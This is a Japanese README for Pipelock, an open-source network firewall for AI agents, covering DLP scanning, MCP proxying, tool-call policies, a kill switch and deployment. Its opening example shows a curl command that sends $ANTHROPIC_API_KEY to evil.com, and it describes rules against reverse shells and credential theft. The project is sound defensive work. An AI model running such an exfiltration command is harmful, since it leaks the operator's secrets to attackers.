Pipelock

🚀 Pipelock

AIエージェント用のオープンソースエージェントファイアウォールです。シングルバイナリで、ランタイム依存関係はありません。

エージェントの環境に $ANTHROPIC_API_KEY が設定され、シェルアクセスが可能な場合、1つのリクエストで以下のようなことが起こります。

curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY"   # pipelockが監視していない限り、ゲームオーバーです

対応するツール: Claude Code · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph · Cursor

クイックスタート · 統合ガイド · ドキュメント · ブログ

🚀 クイックスタート

# macOS / Linux
brew install luckyPipewrench/tap/pipelock

# またはバイナリをダウンロードする（依存関係なし）
# https://github.com/luckyPipewrench/pipelock/releases を参照してください

# またはDockerを使用する
docker pull ghcr.io/luckypipewrench/pipelock:latest

# またはソースからビルドする（Go 1.24+が必要）
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest

30秒で試してみましょう:

# 1. 設定ファイルを生成する
pipelock generate config --preset balanced > pipelock.yaml

# 2. これはブロックされるはずです（DLPが偽のAPIキーを検出します）
pipelock check --config pipelock.yaml --url "https://example.com/?key=sk-ant-api03-fake1234567890"

# 3. これは許可されるはずです（クリーンなURL、シークレットなし）
pipelock check --config pipelock.yaml --url "https://docs.python.org/3/"

# pipelock.yamlを編集: forward_proxy.enabledをtrueに設定
pipelock run --config pipelock.yaml

export HTTPS_PROXY=http://127.0.0.1:8888
export HTTP_PROXY=http://127.0.0.1:8888

# これですべてのHTTPリクエストがpipelockのスキャナーを通過します。
curl "https://example.com/?key=sk-ant-api03-fake1234567890"  # ブロックされます

# プロキシを起動する（エージェントはlocalhost:8888/fetch?url=...に接続します）
pipelock run --config pipelock.yaml

# 完全なネットワーク分離を行う場合（エージェントはpipelockにのみ到達できます）:
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up

# ダウンロードしたバイナリを検証する
gh attestation verify pipelock_*_linux_amd64.tar.gz --owner luckyPipewrench

# コンテナイメージを検証する（リリースバージョンを置き換えてください）
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:<version> --owner luckyPipewrench

✨ 主な機能

9層のURLスキャナー

すべてのリクエストは、スキーム検証、ドメインブロックリスト、DLPパターンマッチング（APIキー、トークン、資格情報用の36の組み込みパターン）、パスエントロピー分析、サブドメインエントロピー分析、DNSリバインディング防止付きのSSRF保護、ドメインごとのレート制限、URL長制限、ドメインごとのデータ予算を通過します。

DLPはDNS解決の前に実行されます。シークレットは、プロキシからDNSクエリが送信される前に検出されます。回避テストマトリックスの詳細については、docs/bypass-resistance.md を参照してください。

レスポンススキャニング

フェッチされたコンテンツは、エージェントに到達する前にプロンプトインジェクションについてスキャンされます。6パスの正規化パイプラインが、ゼロ幅文字の回避、同形文字の置換、レトスピークエンコーディング、Base64でラップされたペイロードを検出します。アクション: block、strip、warn、または ask（人間が介入するターミナル承認）。

MCPプロキシ

任意のMCPサーバーを双方向スキャニングでラップします。3つのトランスポートモード: stdioサブプロセスラッピング、Streamable HTTPブリッジング、およびHTTPリバースプロキシ。両方向をスキャンします: クライアントリクエストはDLP漏洩についてチェックされ、サーバーレスポンスはインジェクションについてスキャンされ、tools/list レスポンスは中毒された説明とセッション中の不正な変更についてチェックされます。

# ローカルのMCPサーバーをラップする（stdio）
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp

# リモートのMCPサーバーをプロキシする（HTTP）
pipelock mcp proxy --upstream http://localhost:8080/mcp

# 結合モード（フェッチ/フォワードプロキシ + 別のポートでのMCP）
pipelock run --config pipelock.yaml --mcp-listen 0.0.0.0:8889 --mcp-upstream http://localhost:3000/mcp

MCPツールポリシー

MCPサーバーに到達する前に危険なツール呼び出しをブロックする実行前ルールです。破壊的な操作、資格情報アクセス、リバースシェル、永続化メカニズム、およびエンコードされたコマンド実行をカバーする17の組み込みルールが付属しています。シェルの難読化検出も組み込まれています。

ツール呼び出しチェーン検出

MCPツール呼び出しのシーケンスにおける攻撃パターンを検出します。偵察、資格情報盗難、データステージング、永続化、および流出チェーンをカバーする10の組み込みパターンが付属しています。ギャップ許容度を設定可能な部分列マッチングを使用するため、攻撃ステップの間に無害な呼び出しを挿入しても検出を回避できません。

緊急停止スイッチ

設定ファイル、SIGUSR1、センチネルファイル、およびリモートAPIの4つの独立したアクティベーションソースですべてのトラフィックを緊急停止できます。いずれか1つがアクティブになると、すべてのトラフィックがブロックされます。APIは別のポートで実行できるため、エージェントが自分自身の緊急停止スイッチを無効にすることはできません。

# オペレーターマシンからアクティブ化する
curl -X POST http://localhost:9090/api/v1/killswitch \
  -H "Authorization: Bearer TOKEN" -d '{"active": true}'

イベント発行

監査イベントを外部システム（SIEM、Webhookレシーバー、syslog）に転送します。イベントは即時送信され、プロキシをブロックすることはありません。各イベントには、該当する場合はMITRE ATT&CK技術ID（流出の場合はT1048、インジェクションの場合はT1059、サプライチェーンの場合はT1195.002）が含まれています。

ログスキーマ、転送パターン、およびSIEMクエリの例については、docs/guides/siem-integration.md を参照してください。

その他の機能

📦 インストール

スターター設定ファイルの生成

pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml  # プロジェクトに合わせた設定

設定の変更は、ファイルウォッチャーまたはSIGHUPを通じて自動的に反映されます（ほとんどのフィールドは再起動せずにホットリロードされます）。

すべてのフィールド、デフォルト値、およびホットリロードの動作に関する完全なリファレンス: docs/configuration.md

💻 使用例

基本的な使用法

# macOS / Linux
brew install luckyPipewrench/tap/pipelock

# またはバイナリをダウンロードする（依存関係なし）
# https://github.com/luckyPipewrench/pipelock/releases を参照してください

# またはDockerを使用する
docker pull ghcr.io/luckypipewrench/pipelock:latest

# またはソースからビルドする（Go 1.24+が必要）
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest

高度な使用法

# 1. 設定ファイルを生成する
pipelock generate config --preset balanced > pipelock.yaml

# 2. これはブロックされるはずです（DLPが偽のAPIキーを検出します）
pipelock check --config pipelock.yaml --url "https://example.com/?key=sk-ant-api03-fake1234567890"

# 3. これは許可されるはずです（クリーンなURL、シークレットなし）
pipelock check --config pipelock.yaml --url "https://docs.python.org/3/"

📚 詳細ドキュメント

統合ガイド

• Claude Code: MCPプロキシの設定、.claude.json の設定
• OpenAI Agents SDK: MCPServerStdio、マルチエージェントのハンドオフ
• Google ADK: McpToolset、StdioConnectionParams
• AutoGen: StdioServerParams、mcp_server_tools()
• CrewAI: MCPServerStdio のラッピング、MCPServerAdapter
• LangGraph: MultiServerMCPClient、StateGraph
• Cursor: Claude Code と同じMCPプロキシパターンで configs/cursor.yaml を使用します
• OpenClaw: ゲートウェイサイドカー、初期化コンテナ、generate mcporter の設定ラッピング

CI統合

GitHubアクション

# .github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@v1
  with:
    scan-diff: 'true'
    fail-on-findings: 'true'

このアクションは、事前にビルドされたバイナリをダウンロードし、pipelock audit を実行してプロジェクトをスキャンし、PRの差分に漏洩したシークレットがないかチェックし、監査レポートをワークフローのアーティファクトとしてアップロードします。重大な検出結果は、PRの差分にインラインアノテーションとして表示されます。

完全なワークフローについては、 を参照してください。

再利用可能なワークフロー

# .github/workflows/security.yaml
jobs:
  pipelock:
    uses: luckyPipewrench/pipelock/.github/workflows/reusable-scan.yml@v1
    with:
      fail-on-critical: true

これがすべてのワークフローです。その他の設定はすべてデフォルト値になります: 自動生成された設定、PR差分のスキャン、アーティファクトのアップロード。

デプロイメント

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
  ghcr.io/luckypipewrench/pipelock:latest \
  run --config /config/pipelock.yaml --listen 0.0.0.0:8888

# ネットワーク分離されたエージェント（Docker Compose）
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up

本番環境でのデプロイメントレシピ（ネットワーク分離付きのDocker Compose、Kubernetesサイドカー + NetworkPolicy、iptables/nftables、macOS PF）については、docs/guides/deployment-recipes.md を参照してください。

# URLをフェッチする（抽出されたテキストコンテンツを返す）
curl "http://localhost:8888/fetch?url=https://example.com"

# フォワードプロキシ（forward_proxy.enabledがtrueの場合）
# HTTPS_PROXY=http://localhost:8888を設定し、通常通り任意のHTTPクライアントを使用します。
curl -x http://localhost:8888 https://example.com

# WebSocketプロキシ（websocket_proxy.enabledがtrueの場合）
# wscat -c "ws://localhost:8888/ws?url=ws://upstream:9090/path"

# ヘルスチェック
curl "http://localhost:8888/health"

# Prometheusメトリクス
curl "http://localhost:8888/metrics"

# JSON統計情報（上位のブロックされたドメイン、スキャナーのヒット数、トンネル数、ブロック率）
curl "http://localhost:8888/stats"

# 緊急停止スイッチAPI（api_listenが設定されている場合は、そのポートを使用します）
curl -X POST http://localhost:9090/api/v1/killswitch \
  -H "Authorization: Bearer TOKEN" -d '{"active": true}'
curl http://localhost:9090/api/v1/killswitch/status \
  -H "Authorization: Bearer TOKEN"

{
  "url": "https://example.com",
  "agent": "my-bot",
  "status_code": 200,
  "content_type": "text/html",
  "title": "Example Domain",
  "content": "This domain is for use in illustrative examples...",
  "blocked": false
}

{
  "status": "healthy",
  "version": "x.y.z",
  "mode": "balanced",
  "uptime_seconds": 3600.5,
  "dlp_patterns": 36,
  "response_scan_enabled": true,
  "kill_switch_active": false
}

その他のドキュメント

🔧 技術詳細

仕組み

Pipelockはエージェントファイアウォールです。ウェブアプリケーション用のWAFのように、AIエージェントとインターネットの間に位置します。機能分離を使用しています: シークレットを持つエージェントプロセスはネットワーク制限され、一方でPipelock（エージェントのシークレットを持たない）は9層のスキャナーパイプラインを通じてすべてのトラフィックを検査します。デプロイメント（Dockerネットワーク分離、Kubernetes NetworkPolicyなど）によって分離境界が強制されます。

3つのプロキシモードが同じポートで動作します:

• フェッチプロキシ (/fetch?url=...): PipelockがURLをフェッチし、テキストを抽出し、レスポンスをプロンプトインジェクションについてスキャンし、クリーンなコンテンツを返します。専用のフェッチツールを使用するエージェントに最適です。
• フォワードプロキシ (HTTPS_PROXY): 標準のHTTP CONNECTトンネリングと絶対URI転送。エージェントはコードを変更せずにPipelockをシステムプロキシとして使用します。ホスト名スキャニングは、トンネルが開く前にブロックされたドメインとSSRFを検出します。リクエストボディとヘッダーのDLPスキャニングは、POSTボディと認証ヘッダーのシークレットを検出します。オプションのTLSインターセプションは、CONNECTトンネルを復号化して完全なボディ/ヘッダーDLPとレスポンスインジェクションスキャニングを行います（pipelock tls init と pipelock tls install-ca を使用してCAを設定する必要があります）。
• WebSocketプロキシ (/ws?url=ws://...): テキストフレームに対するDLP + インジェクション検出を含む双方向フレームスキャニング。フラグメント再組み立て、メッセージサイズ制限、アイドルタイムアウト、および接続寿命制御がすべて組み込まれています。

flowchart LR
    subgraph PRIVILEGED["Privileged Zone"]
        Agent["AI Agent\n(has API keys)"]
    end
    subgraph FETCH["Firewall Zone"]
        Proxy["Pipelock\n(no agent secrets)"]
        Scanner["Scanner Pipeline\nSSRF · Blocklist · Rate Limit\nDLP · Env Leak · Entropy · Length"]
    end
    subgraph NET["Internet"]
        Web["Web"]
    end

    Agent -- "fetch URL\nCONNECT\nor WebSocket" --> Proxy
    Proxy --> Scanner
    Scanner -- "content or\ntunnel" --> Agent
    Scanner -- "request" --> Web
    Web -- "response" --> Scanner
    Scanner -- "clean content" --> Agent

    style PRIVILEGED fill:#fee,stroke:#c33
    style FETCH fill:#efe,stroke:#3a3
    style NET fill:#eef,stroke:#33c

┌──────────────────────┐         ┌───────────────────────┐
│  PRIVILEGED ZONE     │         │  FIREWALL ZONE        │
│                      │         │                       │
│  AI Agent            │  IPC    │  Pipelock             │
│  - Has API keys      │────────>│  - No agent secrets   │
│  - Has credentials   │ fetch / │  - Full internet      │
│  - Restricted network│ CONNECT │  - Returns text       │
│                      │ /ws     │  - WS frame scanning  │
│                      │<────────│  - URL scanning       │
│  Can reach:          │ content │  - Audit logging      │
│  ✓ api.anthropic.com │         │                       │
│  ✓ discord.com       │         │  Can reach:           │
│  ✗ evil.com          │         │  ✓ Any URL            │
│  ✗ pastebin.com      │         │  But has:             │
└──────────────────────┘         │  ✗ No env secrets     │
                                 │  ✗ No credentials     │
                                 └───────────────────────┘

セキュリティマトリックス

Pipelockは3つのモードで動作します:

各モードが防止、検出、またはログに記録する内容:

正直な評価: 厳格モードは、許可リストに登録されたAPIドメイン以外のすべての外部HTTPトラフィックをブロックするため、プロキシを介した流出チャネルはありません。バランスモードは、攻撃の難易度を「1つのcurlコマンド」から「高度な事前計画された攻撃」に引き上げます。監査モードは、現在持っていない可視性を提供します。Pipelockはプロセスをサンドボックス化したり、システムコールを制限したりしません。コンテンツ検査レイヤーです。完全な防御のためには、OSサンドボックスと組み合わせて使用することをお勧めします（docs/comparison.md を参照）。

プロジェクト構造

cmd/pipelock/          CLIエントリポイント
internal/
  cli/                 20以上のCobraコマンド (run, check, generate, mcp, integrity, ...)
  config/              YAML設定、検証、デフォルト値、ホットリロード (fsnotify)
  scanner/             9層のURLスキャニングパイプライン + レスポンスインジェクション検出
  audit/               構造化JSONロギング (zerolog) + イベント発行ディスパッチ
  proxy/               HTTPプロキシ: フェッチ、フォワード (CONNECT)、WebSocket、DNSピニング、TLSインターセプション
  certgen/             ECDSA P-256 CA + リーフ証明書の生成、キャッシュ
  mcp/                 MCPプロキシ + 双方向スキャニング + ツール中毒 + チェーン
  killswitch/          緊急停止 (4つのソース) + ポート分離されたAPI
  emit/                イベント発行 (Webhook + syslogシンク)
  metrics/             Prometheusメトリクス + JSON統計情報
  normalize/           Unicode正規化 (NFKC、似た文字、結合文字)
  integrity/           SHA256ファイル整合性監視
  signing/             Ed25519キー管理
  gitprotect/          Git差分スキャンによるシークレット検出
  hitl/                人間が介入するターミナル承認
  report/              JSONLイベントログからのHTML/JSON監査レポート生成
  projectscan/         監査コマンド用のプロジェクトディレクトリスキャン
enterprise/            マルチエージェント機能 (ELv2、enterprise/LICENSEを参照)
configs/               7つのプリセット設定ファイル
docs/                  ガイド、リファレンス、コンプライアンスマッピング

テスト

各リリースで更新される標準的なメトリクスです。

make test を実行してローカルで検証します。パフォーマンスデータ: docs/performance.md。生のベンチマーク: docs/benchmarks.md。

独立したベンチマーク: agent-egress-bench (8つのカテゴリにまたがる72の攻撃ケース、ツールに依存しない)

クレジット

• アーキテクチャは、AnthropicのClaude Codeサンドボックス と sandbox-runtime に影響を受けています。
• 脅威モデルは、OWASP Agentic AI Top 10 に基づいています。
• Pipelockがこの分野の他のツールとどのように関連しているかについては、docs/comparison.md を参照してください。
• セキュリティレビューへの貢献: Dylan Corrales

コントリビューションは大歓迎です。ガイドラインについては、CONTRIBUTING.md を参照してください。

Pipelockが役に立った場合は、このリポジトリをスター してください。他の人がこのプロジェクトを見つけるのに役立ちます。

📄 ライセンス

Pipelockのコアは Apache License 2.0 でライセンスされています。Copyright 2026 Joshua Waldrep。

マルチエージェント機能（エージェントごとのID、予算、および設定分離）は、enterprise ビルドタグによって制限されており、Elastic License 2.0 (ELv2) でライセンスされています。主な実装は enterprise/ ディレクトリにあり、cmd/ と internal/ にビルドタグで制限された統合コードがあります。これらの機能には有効なエンタープライズライセンスキーが必要です。

オープンソースコアはエンタープライズ機能なしで独立して動作します。

事前にビルドされたリリースアーティファクト（Homebrew、GitHubリリース、Dockerイメージ）には、有効なライセンスキーでアクティブ化されるエンタープライズコードが含まれています。go install またはリポジトリの Dockerfile を使用してソースからビルドすると、コミュニティ版のバイナリが生成されます。

Apache 2.0のテキストについては LICENSE を、ELv2のテキストについては enterprise/LICENSE を参照してください。